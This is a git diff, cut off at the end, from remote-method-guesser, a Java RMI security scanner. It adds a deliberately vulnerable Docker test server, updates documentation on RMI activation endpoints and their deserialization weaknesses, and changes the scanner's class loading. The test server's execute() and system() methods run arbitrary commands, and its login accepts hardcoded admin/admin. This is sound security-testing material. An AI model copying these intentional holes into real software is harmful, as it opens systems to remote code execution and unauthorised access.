sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + * at java.lang.reflect.Method.invoke(Method.java:498) + * at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:357) + * at sun.rmi.transport.Transport$1.run(Transport.java:200) + * at sun.rmi.transport.Transport$1.run(Transport.java:197) + * at java.security.AccessController.doPrivileged(Native Method) + * at sun.rmi.transport.Transport.serviceCall(Transport.java:196) + * at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573) + * at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + * at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + * at java.security.AccessController.doPrivileged(Native Method) + * at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + * at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + * at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + * at java.lang.Thread.run(Thread.java:748) + */ + Utils.toogleOutput(); + ActivationGroupID groupID = ActivationGroup.getSystem().registerGroup(groupDesc); + Utils.toogleOutput(); + + ActivationDesc desc = new ActivationDesc(groupID, ActivationService.class.getName(), codebase, null); + remoteObject1 = Activatable.register(desc); + + ActivationDesc desc2 = new ActivationDesc(groupID, ActivationService2.class.getName(), codebase, null); + remoteObject2 = Activatable.register(desc2); + + remoteObject3 = new PlainServer(); + IPlainServer stub = (IPlainServer)UnicastRemoteObject.exportObject(remoteObject3, 0); + + Utils.bindToRegistry(remoteObject1, LocateRegistry.getRegistry(activationSystemPort), "activation-test"); + Utils.bindToRegistry(remoteObject2, LocateRegistry.getRegistry(activationSystemPort), "activation-test2"); + Utils.bindToRegistry(stub, LocateRegistry.getRegistry(activationSystemPort), "plain-server"); + + Logger.println(""); + Logger.decreaseIndent(); + + Logger.println("Server setup finished."); + Logger.println("Waiting for incoming connections."); + Logger.println(""); + + } catch (Exception e) { + Logger.eprintln("Unexpected RMI Error:"); + e.printStackTrace(); + } + } +} diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService.java new file mode 100644 index 00000000..cb0a6cd4 --- /dev/null +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService.java @@ -0,0 +1,57 @@ +package de.qtc.rmg.server.activation; + +import java.io.IOException; +import java.rmi.MarshalledObject; +import java.rmi.RemoteException; +import java.rmi.activation.Activatable; +import java.rmi.activation.ActivationID; + +import de.qtc.rmg.server.utils.Logger; +import de.qtc.rmg.server.utils.Utils; + +public class ActivationService extends Activatable implements IActivationService +{ + private static final long serialVersionUID = 3047196196290730685L; + + @SuppressWarnings("rawtypes") + public ActivationService(ActivationID id, MarshalledObject data) throws RemoteException + { + super(id, 0); + } + + public String execute(String command) + { + Logger.printlnMixedBlueYellow("[ActivationServer]:", "Processing call for", "String execute(String command)"); + String result = ""; + + try { + Process p = java.lang.Runtime.getRuntime().exec(command); + p.waitFor(); + result = Utils.readFromProcess(p); + } catch( IOException | InterruptedException e) { + result = "Exception: " + e.getMessage(); + } + + return result; + } + + public String system(String command, String[] args) + { + Logger.printlnMixedBlueYellow("[ActivationServer]:", "Processing call for", "String system(String command, String[] args)"); + String result = ""; + + String[] commandArray = new String[args.length + 1]; + commandArray[0] = command; + System.arraycopy(args, 0, commandArray, 1, args.length); + + try { + Process p = java.lang.Runtime.getRuntime().exec(commandArray); + p.waitFor(); + result = Utils.readFromProcess(p); + } catch( IOException | InterruptedException e) { + result = "Exception: " + e.getMessage(); + } + + return result; + } +} \ No newline at end of file diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService2.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService2.java new file mode 100644 index 00000000..0db0a0a5 --- /dev/null +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/ActivationService2.java @@ -0,0 +1,58 @@ +package de.qtc.rmg.server.activation; + +import java.rmi.MarshalledObject; +import java.rmi.RemoteException; +import java.rmi.activation.Activatable; +import java.rmi.activation.ActivationID; +import java.util.ArrayList; +import java.util.HashMap; + +import javax.rmi.ssl.SslRMIClientSocketFactory; +import javax.rmi.ssl.SslRMIServerSocketFactory; + +import de.qtc.rmg.server.utils.Logger; + +public class ActivationService2 extends Activatable implements IActivationService2 +{ + private static final long serialVersionUID = 4047196196290730685L; + + @SuppressWarnings("rawtypes") + public ActivationService2(ActivationID id, MarshalledObject data) throws RemoteException + { + super(id, 0, new SslRMIClientSocketFactory(), new SslRMIServerSocketFactory()); + } + + @SuppressWarnings("unused") + private ArrayList preferences = null; + + public String login(HashMap credentials) throws RemoteException + { + Logger.printlnMixedBlueYellow("[SecureServer]:", "Processing call for", "String login(HashMap credentials)"); + String username = credentials.get("username"); + String password = credentials.get("password"); + if(username != null && password != null && username.equals("admin") && password.equals("admin")) { + return "Session-ID-123"; + } + return null; + } + + @SuppressWarnings("unused") + public void logMessage(int logLevel, Object message) throws RemoteException + { + Logger.printlnMixedBlueYellow("[SecureServer]:", "Processing call for", "void logMessage(int logLevel, Object message)"); + + String logMessage = ""; + if( logLevel == 1 ) + logMessage = "Info: " +(String)message; + if( logLevel == 2 ) + logMessage = "Error: " +(String)message; + + //tdb.appendToLog(logMessage); + } + + public void updatePreferences(ArrayList preferences) throws RemoteException + { + Logger.printlnMixedBlueYellow("[SecureServer]:", "Processing call for", "void updatePreferences(ArrayList preferences)"); + this.preferences = preferences; + } +} \ No newline at end of file diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService.java new file mode 100644 index 00000000..e74260ca --- /dev/null +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService.java @@ -0,0 +1,10 @@ +package de.qtc.rmg.server.activation; + +import java.rmi.Remote; +import java.rmi.RemoteException; + +public interface IActivationService extends Remote +{ + String execute(String cmd) throws RemoteException; + String system(String cmd, String[] args) throws RemoteException; +} \ No newline at end of file diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService2.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService2.java new file mode 100644 index 00000000..adde23e8 --- /dev/null +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/activation/IActivationService2.java @@ -0,0 +1,13 @@ +package de.qtc.rmg.server.activation; + +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.util.ArrayList; +import java.util.HashMap; + +public interface IActivationService2 extends Remote +{ + String login(HashMap credentials) throws RemoteException; + void logMessage(int logLevel, Object message) throws RemoteException; + void updatePreferences(ArrayList preferences) throws RemoteException; +} \ No newline at end of file diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java index d8a6e783..4baa3136 100644 --- a/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/legacy/LegacyServer.java @@ -1,7 +1,6 @@ package de.qtc.rmg.server.legacy; import java.net.MalformedURLException; -import java.rmi.AccessException; import java.rmi.AlreadyBoundException; import java.rmi.Naming; import java.rmi.NotBoundException; @@ -31,7 +30,8 @@ public static void init() Logger.increaseIndent(); try { - Logger.printlnMixedYellow("Creating RMI-Registry on port", String.valueOf(registryPort)); + Logger.printMixedBlue("Creating", "RMI-Registry", "on port "); + Logger.printlnPlainYellow(String.valueOf(registryPort)); Registry registry = LocateRegistry.createRegistry(registryPort); Logger.println(""); @@ -52,12 +52,12 @@ public static void init() Logger.printlnMixedBlue("Creating", "PlainServer", "object."); remoteObject2 = new PlainServer(); IPlainServer stub1 = (IPlainServer)UnicastRemoteObject.exportObject(remoteObject2, 0); - bindToRegistry(stub1, registry, "plain-server"); + Utils.bindToRegistry(stub1, registry, "plain-server"); Logger.printlnMixedBlue("Creating another", "PlainServer", "object."); remoteObject3 = new PlainServer(); IPlainServer stub2 = (IPlainServer)UnicastRemoteObject.exportObject(remoteObject3, 0); - bindToRegistry(stub2, registry, "plain-server2"); + Utils.bindToRegistry(stub2, registry, "plain-server2"); try { Logger.printlnMixedBlue("Creating", "ActivatorImp", "object."); @@ -77,7 +77,7 @@ public static void init() Logger.decreaseIndent(); Logger.println("Server setup finished."); - Logger.println("Waiting for incoming connections."); + Logger.println("Initializing activation server."); Logger.println(""); } catch (RemoteException | MalformedURLException | AlreadyBoundException | NotBoundException e) { @@ -85,17 +85,4 @@ public static void init() e.printStackTrace(); } } - - public static void bindToRegistry(Remote object, Registry registry, String boundName) throws AccessException, RemoteException, AlreadyBoundException, NotBoundException - { - Logger.increaseIndent(); - Logger.printlnMixedYellow("Binding Object as", boundName); - registry.bind(boundName, object); - - Object o = registry.lookup(boundName); - String className = o.getClass().getInterfaces()[0].getSimpleName(); - Logger.printMixedYellow("Boundname", boundName); - Logger.printlnPlainMixedBlue(" with interface", className, "is ready."); - Logger.decreaseIndent(); - } } diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Logger.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Logger.java index d89b597d..20f40144 100644 --- a/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Logger.java +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Logger.java @@ -1,8 +1,13 @@ package de.qtc.rmg.server.utils; import java.text.SimpleDateFormat; -import java.util.Calendar; +import java.util.Date; +/** + * Logger class that helps to print some formatted output including timestamps. + * + * @author Tobias Neitzel (@qtc_de) + */ public class Logger { private static String ANSI_RESET = "\u001B[0m"; @@ -11,7 +16,6 @@ public class Logger { public static int indent = 0; public static boolean verbose = true; - public static Calendar cal = Calendar.getInstance(); public static SimpleDateFormat date = new SimpleDateFormat("yyyy.MM.dd - HH:mm:ss"); private static String blue(String msg) @@ -26,12 +30,12 @@ private static String yellow(String msg) private static String prefix() { - return "[" + date.format(cal.getTime()) + "]" + Logger.getIndent(); + return "[" + date.format(new Date()) + "]" + Logger.getIndent(); } private static String eprefix() { - return "[" + date.format(cal.getTime()) + "]" + Logger.getIndent(); + return "[" + date.format(new Date()) + "]" + Logger.getIndent(); } private static void log(String msg) diff --git a/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Utils.java b/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Utils.java index f0d321a2..df3d8004 100644 --- a/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Utils.java +++ b/docker/example-server/resources/server/src/de/qtc/rmg/server/utils/Utils.java @@ -3,18 +3,29 @@ import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.PrintStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.rmi.AccessException; +import java.rmi.AlreadyBoundException; +import java.rmi.NotBoundException; +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.rmi.registry.Registry; import java.rmi.server.RMIServerSocketFactory; import java.rmi.server.RemoteObject; import sun.rmi.server.Activation; @SuppressWarnings("restriction") -public class Utils { - - public static String readFromProcess(Process p) throws IOException { +public class Utils +{ + private static PrintStream output = null; + public static String readFromProcess(Process p) throws IOException + { StringBuilder result = new StringBuilder(); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); @@ -52,7 +63,6 @@ public static void disableWarnings() } catch (Exception e) {} } - public static RemoteObject getActivator(int port, RMIServerSocketFactory ssf) throws Exception { disableWarnings(); @@ -70,4 +80,38 @@ public static RemoteObject getActivator(int port, RMIServerSocketFactory ssf) th RemoteObject activator = (RemoteObject)constructor.newInstance(activation, port, ssf); return activator; } -} + + public static void startActivation(int port, RMIServerSocketFactory ssf, String logName, String[] args) throws Exception + { + disableWarnings(); + + Class activationClass = Class.forName("sun.rmi.server.Activation"); + Method startActivation = activationClass.getDeclaredMethod("startActivation", new Class[] { int.class, RMIServerSocketFactory.class, String.class, String[].class } ); + startActivation.setAccessible(true); + startActivation.invoke(null, port, ssf, logName, new String[] {}); + } + + public static void toogleOutput() + { + if (output == null) { + output = System.err; + System.setErr(new PrintStream(new OutputStream() { public void write(int arg0) throws IOException {} })); + + } else { + System.setErr(output); + } + } + + public static void bindToRegistry(Remote object, Registry registry, String boundName) throws AccessException, RemoteException, AlreadyBoundException, NotBoundException + { + Logger.increaseIndent(); + Logger.printlnMixedYellow("Binding Object as", boundName); + registry.bind(boundName, object); + + Object o = registry.lookup(boundName); + String className = o.getClass().getInterfaces()[0].getSimpleName(); + Logger.printMixedYellow("Boundname", boundName); + Logger.printlnPlainMixedBlue(" with interface", className, "is ready."); + Logger.decreaseIndent(); + } +} \ No newline at end of file diff --git a/docker/ssrf-server/CHANGELOG.md b/docker/ssrf-server/CHANGELOG.md new file mode 100644 index 00000000..c8b59669 --- /dev/null +++ b/docker/ssrf-server/CHANGELOG.md @@ -0,0 +1,13 @@ +# Changelog + +All notable changes to this project will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + + +## [1.3] - May 08, 2022 + +### Changed + +* Fix timestamp for log messages diff --git a/docker/ssrf-server/docker-compose.yml b/docker/ssrf-server/docker-compose.yml index ad37ad93..165bbbf1 100644 --- a/docker/ssrf-server/docker-compose.yml +++ b/docker/ssrf-server/docker-compose.yml @@ -2,5 +2,5 @@ version: '3.7' services: rmg: - image: ghcr.io/qtc-de/remote-method-guesser/rmg-ssrf-server:1.2 + image: ghcr.io/qtc-de/remote-method-guesser/rmg-ssrf-server:1.3 build: . diff --git a/docker/ssrf-server/resources/server/pom.xml b/docker/ssrf-server/resources/server/pom.xml index 58b3092c..710ab088 100644 --- a/docker/ssrf-server/resources/server/pom.xml +++ b/docker/ssrf-server/resources/server/pom.xml @@ -5,7 +5,7 @@ de.qtc.rmg.server.ssrf rmg-ssrf-server - 1.2.0 + 1.3.0 rmg-ssrf-server RMG SSRF Server diff --git a/docker/ssrf-server/resources/server/src/de/qtc/rmg/server/ssrf/utils/Logger.java b/docker/ssrf-server/resources/server/src/de/qtc/rmg/server/ssrf/utils/Logger.java index a6efc2b5..425574f5 100644 --- a/docker/ssrf-server/resources/server/src/de/qtc/rmg/server/ssrf/utils/Logger.java +++ b/docker/ssrf-server/resources/server/src/de/qtc/rmg/server/ssrf/utils/Logger.java @@ -1,7 +1,7 @@ package de.qtc.rmg.server.ssrf.utils; import java.text.SimpleDateFormat; -import java.util.Calendar; +import java.util.Date; /** * Logger class that helps to print some formatted output including timestamps. @@ -16,7 +16,6 @@ public class Logger { public static int indent = 0; public static boolean verbose = true; - public static Calendar cal = Calendar.getInstance(); public static SimpleDateFormat date = new SimpleDateFormat("yyyy.MM.dd - HH:mm:ss"); private static String blue(String msg) @@ -31,12 +30,12 @@ private static String yellow(String msg) private static String prefix() { - return "[" + date.format(cal.getTime()) + "]" + Logger.getIndent(); + return "[" + date.format(new Date()) + "]" + Logger.getIndent(); } private static String eprefix() { - return "[" + date.format(cal.getTime()) + "]" + Logger.getIndent(); + return "[" + date.format(new Date()) + "]" + Logger.getIndent(); } private static void log(String msg) @@ -337,4 +336,4 @@ public static void disableColor() ANSI_YELLOW = ""; ANSI_BLUE = ""; } -} \ No newline at end of file +} diff --git a/docs/rmg/actions.md b/docs/rmg/actions.md index e907b395..3b416d64 100644 --- a/docs/rmg/actions.md +++ b/docs/rmg/actions.md @@ -226,7 +226,7 @@ Corresponding class names can be used in *remote-method-guesser's* ``known`` act [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) -[+] Endpoint: iinsecure.dev:42222 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] +[+] Endpoint: iinsecure.dev:42222 TLS: no ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: @@ -280,7 +280,67 @@ Corresponding class names can be used in *remote-method-guesser's* ``known`` act ``` Apart from the bound names and the class information, *remote-method-guesser* displays information on the remote -objects ``ObjID`` and the corresponding *RMI endpoint* the bound name is referring to. +objects ``ObjID``, the location of the corresponding *RMI endpoint* the bound name is referring to and whether +connections to the *RMI endpoint* are encrypted (*TLS*). + + +#### Activatable Bound Names + +In some cases, bound names listed by *remote-method-guesser* use a different format as mentioned above. This +is usually the case when the *RMI server* uses an *Activation System* and *activatable remote objects*. The +following listing shows an example for this situation: + +```console +[qtc@devbox ~]$ rmg enum 172.17.0.2 1098 +[+] RMI registry bound names: +[+] +[+] - activation-test +[+] --> de.qtc.rmg.server.activation.IActivationService (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: 6fd4e3c:180ac45a068:-7ff1 +[+] - activation-test2 +[+] --> de.qtc.rmg.server.activation.IActivationService2 (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: 6fd4e3c:180ac45a068:-7fee +[+] - plain-server +[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) +[+] Endpoint: iinsecure.dev:41867 TLS: no ObjID: [6fd4e3c:180ac45a068:-7fec, 969949632761859811] +[+] - java.rmi.activation.ActivationSystem +[+] --> sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System) +[+] Endpoint: iinsecure.dev:1098 TLS: no ObjID: [0:0:0, 4] +``` + +Instead of displaying the target endpoint, the *TLS* status and the associated `ObjID`, *remote-method-guesser* +displays the targeted *Activator* instance and the associated `ActivationID`. + +In contrast to ordinary remote objects, that can be called directly, activatable remote objects need to be activated +first. The idea is, that the server components that implement the activatable remote objects can suspend and do not +need to be available all the time. When a client wants to call such an object, it uses the `ActivationID` obtained from +the *RMI registry* and sends it to the *Activator endpoint*. The *Activator* is when responsible to start the associated +remote object and returns an ordinary `UnicastRef` to the client. This reference is when used for the call. + +Whereas all other actions of *remote-method-guesser* perform activation implicitly, for the `enum` action, you need use +the command line option `--activate` if you want to activate objects during enumeration. When doing so, *remote-method-guesser* +dispatches one additional call to the *Activator* for each `ActivatableRef` bound to the *RMI registry*. Information from +the obtained `UnicastRef` is then displayed as usual below the activation related information: + +```console +[qtc@devbox ~]$ rmg enum 172.17.0.2 1098 --activate +[+] RMI registry bound names: +[+] +[+] - activation-test +[+] --> de.qtc.rmg.server.activation.IActivationService (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: 6fd4e3c:180ac45a068:-7ff1 +[+] Endpoint: iinsecure.dev:37597 TLS: no ObjID: [1c74dc89:180ac521427:-7ffb, 3078273701606404425] +[+] - activation-test2 +[+] --> de.qtc.rmg.server.activation.IActivationService2 (unknown class) +[+] Activator: iinsecure.dev:1098 ActivationID: 6fd4e3c:180ac45a068:-7fee +[+] Endpoint: iinsecure.dev:35721 TLS: yes ObjID: [1c74dc89:180ac521427:-7ff8, 6235870260204364974] +[+] - plain-server +[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) +[+] Endpoint: iinsecure.dev:41867 TLS: no ObjID: [6fd4e3c:180ac45a068:-7fec, 969949632761859811] +[+] - java.rmi.activation.ActivationSystem +[+] --> sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System) +[+] Endpoint: iinsecure.dev:1098 TLS: no ObjID: [0:0:0, 4] +``` #### Codebase Enumeration diff --git a/docs/rmi/known-endpoints.md b/docs/rmi/known-endpoints.md index 7e22900a..77773cb7 100644 --- a/docs/rmi/known-endpoints.md +++ b/docs/rmi/known-endpoints.md @@ -151,24 +151,98 @@ * [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) -### RMI Activator +### RMI Activation Group --- -* Name: `RMI Activator` +* Name: `RMI Activation Group` +* Class Names: + * `java.rmi.activation.ActivationGroup_Stub` + * `java.rmi.activation.ActivationGroup` + * `java.rmi.activation.ActivationInstantiator` +* Description: + + > Remote object that is associated with an ActivationGroup. Can be used to create new instances of activatable + > objects that are registered within the group. The activation system was deprecated and removed in 2021. + +* Remote Methods: + + ```java + java.rmi.MarshalledObject newInstance(java.rmi.activation.ActivationID id, java.rmi.activation.ActivationDesc desc) + ``` +* References: + * [https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html](https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html) + * [https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server](https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server) +* Known Vulnerabilities: + + * Deserialization + * Description: + + > ActivationGroup remote objects do not use a deserialization filter. + * References: + * [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) + + +### RMI Activation System + +--- + +* Name: `RMI Activation System` * Class Names: * `sun.rmi.server.Activation$ActivationSystemImpl_Stub` + * `java.rmi.activation.ActivationSystem` * Description: > The activation system is a legacy component of Java RMI. It allows remote objects to become inactive - > and allows clients to activate them when required. The activation system has been removed from newer - > versions of Java. Due to the legacy status and the rare usage in practice, the activation system never - > got the JEP290 proposals implemented. + > and allows clients to activate them when required. The ActivationSystemImpl remote object can be + > understood as a management interface for activation. It is only accessible from localhost and this + > restriction cannot be bypassed by the --localhost-bypass option. By accessing the ActivationSystemImpl, + > it is possible to register new activatable objects and activation groups. The activation system was + > deprecated and removed in 2021. + +* Remote Methods: + + ```java + java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg) + void unregisterObject(java.rmi.activation.ActivationID arg) + java.rmi.activation.ActivationGroupID registerGroup(java.rmi.activation.ActivationGroupDesc arg) + java.rmi.activation.ActivationMonitor activeGroup(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationInstantiator arg, long arg) + void unregisterGroup(java.rmi.activation.ActivationGroupID arg) + void shutdown() + java.rmi.activation.ActivationDesc setActivationDesc(java.rmi.activation.ActivationID arg, java.rmi.activation.ActivationDesc arg) + java.rmi.activation.ActivationGroupDesc setActivationGroupDesc(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationGroupDesc arg) + java.rmi.activation.ActivationDesc getActivationDesc(java.rmi.activation.ActivationID arg) + java.rmi.activation.ActivationGroupDesc getActivationGroupDesc(java.rmi.activation.ActivationGroupID arg) + ``` +* References: + * [https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html](https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html) + * [https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server](https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server) +* Known Vulnerabilities: + + * Deserialization + * Description: + + > When accessed from localhost, the ActivationSystem is vulnerable to deserialization attacks. + * References: + * [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) + + +### RMI Activator + +--- + +* Name: `RMI Activator` +* Class Names: + * `java.rmi.activation.Activator` +* Description: + + > An Activator can be used to create new instances of activatable objects. It has normally a fixed + > ObjID and is not bound to an RMI registry by name. The activation system was deprecated and removed in 2021. * Remote Methods: ```java - java.rmi.MarshalledObject activate(java.rmi.Activation.ActivationID id, boolean force) + java.rmi.MarshalledObject newInstance(java.rmi.activation.ActivationID id, boolean force) ``` * References: * [https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html](https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html) diff --git a/pom.xml b/pom.xml index bf65b229..72497e0f 100644 --- a/pom.xml +++ b/pom.xml @@ -8,7 +8,7 @@ remote-method-guesser remote-method-guesser jar - 4.2.2 + 4.3.0 Identify common misconfigurations on Java RMI endpoints diff --git a/resources/known-endpoints/known-endpoints.yml b/resources/known-endpoints/known-endpoints.yml index a1e7f290..eac952cb 100644 --- a/resources/known-endpoints/known-endpoints.yml +++ b/resources/known-endpoints/known-endpoints.yml @@ -176,18 +176,78 @@ knownEndpoints: - https://github.com/qtc-de/remote-method-guesser -- name: RMI Activator +- name: RMI Activation System className: - sun.rmi.server.Activation$ActivationSystemImpl_Stub + - java.rmi.activation.ActivationSystem description: | The activation system is a legacy component of Java RMI. It allows remote objects to become inactive - and allows clients to activate them when required. The activation system has been removed from newer - versions of Java. Due to the legacy status and the rare usage in practice, the activation system never - got the JEP290 proposals implemented. + and allows clients to activate them when required. The ActivationSystemImpl remote object can be + understood as a management interface for activation. It is only accessible from localhost and this + restriction cannot be bypassed by the --localhost-bypass option. By accessing the ActivationSystemImpl, + it is possible to register new activatable objects and activation groups. The activation system was + deprecated and removed in 2021. + + remoteMethods: + - java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg) + - void unregisterObject(java.rmi.activation.ActivationID arg) + - java.rmi.activation.ActivationGroupID registerGroup(java.rmi.activation.ActivationGroupDesc arg) + - java.rmi.activation.ActivationMonitor activeGroup(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationInstantiator arg, long arg) + - void unregisterGroup(java.rmi.activation.ActivationGroupID arg) + - void shutdown() + - java.rmi.activation.ActivationDesc setActivationDesc(java.rmi.activation.ActivationID arg, java.rmi.activation.ActivationDesc arg) + - java.rmi.activation.ActivationGroupDesc setActivationGroupDesc(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationGroupDesc arg) + - java.rmi.activation.ActivationDesc getActivationDesc(java.rmi.activation.ActivationID arg) + - java.rmi.activation.ActivationGroupDesc getActivationGroupDesc(java.rmi.activation.ActivationGroupID arg) + + references: + - https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html + - https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server + + vulnerabilities: + - name: Deserialization + description: | + When accessed from localhost, the ActivationSystem is vulnerable to deserialization attacks. + references: + - https://github.com/qtc-de/remote-method-guesser + + +- name: RMI Activation Group + className: + - java.rmi.activation.ActivationGroup_Stub + - java.rmi.activation.ActivationGroup + - java.rmi.activation.ActivationInstantiator + + description: | + Remote object that is associated with an ActivationGroup. Can be used to create new instances of activatable + objects that are registered within the group. The activation system was deprecated and removed in 2021. + + remoteMethods: + - java.rmi.MarshalledObject newInstance(java.rmi.activation.ActivationID id, java.rmi.activation.ActivationDesc desc) + + references: + - https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html + - https://github.com/openjdk/jdk/tree/ed477da9c69bbb4bae3c9e5bc80b67dcfc31b2b1/src/java.rmi/share/classes/sun/rmi/server + + vulnerabilities: + - name: Deserialization + description: | + ActivationGroup remote objects do not use a deserialization filter. + references: + - https://github.com/qtc-de/remote-method-guesser + + +- name: RMI Activator + className: + - java.rmi.activation.Activator + + description: | + An Activator can be used to create new instances of activatable objects. It has normally a fixed + ObjID and is not bound to an RMI registry by name. The activation system was deprecated and removed in 2021. remoteMethods: - - java.rmi.MarshalledObject activate(java.rmi.Activation.ActivationID id, boolean force) + - java.rmi.MarshalledObject newInstance(java.rmi.activation.ActivationID id, boolean force) references: - https://docs.oracle.com/javase/7/docs/technotes/tools/windows/rmid.html diff --git a/src/de/qtc/rmg/internal/CodebaseCollector.java b/src/de/qtc/rmg/internal/CodebaseCollector.java index 981eb68f..935303b6 100644 --- a/src/de/qtc/rmg/internal/CodebaseCollector.java +++ b/src/de/qtc/rmg/internal/CodebaseCollector.java @@ -35,6 +35,11 @@ * advantages. The probably biggest one is that you have no longer to distinguish between modern proxy-like * remote objects and legacy stubs manually, as they are loaded using different calls (loadClass vs loadProxyClass). * + * From remote-method-guesser v4.3.0, this class also handles issues that are caused by the probably missing + * activation system. If the server returns an ActivatableRef, this class is probably no longer existing in + * the currently running JVM, as it was deprecated and removed in 2021. This class checks whether the + * ActivatbaleRef class is requested and creates it dynamically if required. + * * Summarized: * * 1. Extract server specified codebases and store them within a HashMap for later use @@ -53,6 +58,12 @@ public class CodebaseCollector extends RMIClassLoaderSpi { * Just a proxy to the loadClass method of the default provider instance. If a codebase * was specified, it is added to the codebase list. Afterwards, the codebase is set to * null and the call is handed off to the default provider. + * + * RMI stub classes are attempted to be looked up and if they are not exist, they are + * created dynamically. This allows remote-method-guesser to inspect remote stub + * objects. Furthermore, the ActivatableRef class is treated special, since it does + * no longer exist in more recent Java versions. If an ActivatableRef is encountered, + * it is checked whether the class exists and it is created dynamically otherwise. */ public Class loadClass(String codebase, String name, ClassLoader defaultLoader) throws MalformedURLException, ClassNotFoundException { @@ -63,9 +74,12 @@ public Class loadClass(String codebase, String name, ClassLoader defaultLoade try { - if( name.endsWith("_Stub") ) + if (name.endsWith("_Stub")) RMGUtils.makeLegacyStub(name); + if (name.equals("sun.rmi.server.ActivatableRef")) + RMGUtils.makeActivatbaleRef(); + resolvedClass = originalLoader.loadClass(codebase, name, defaultLoader); } catch (CannotCompileException | NotFoundException e) { @@ -79,6 +93,10 @@ public Class loadClass(String codebase, String name, ClassLoader defaultLoade * Just a proxy to the loadProxyClass method of the default provider instance. If a codebase * was specified, it is added to the codebase list. Afterwards, the codebase is set to * null and the call is handed off to the default provider. + * + * For each interface to be loaded, it is checked whether the interface already exists in + * the current JVM. If this is not the case, it is created dynamically. This allows + * remote-method-guesser to inspect remote objects that implement unknown interfaces. */ public Class loadProxyClass(String codebase, String[] interfaces, ClassLoader defaultLoader) throws 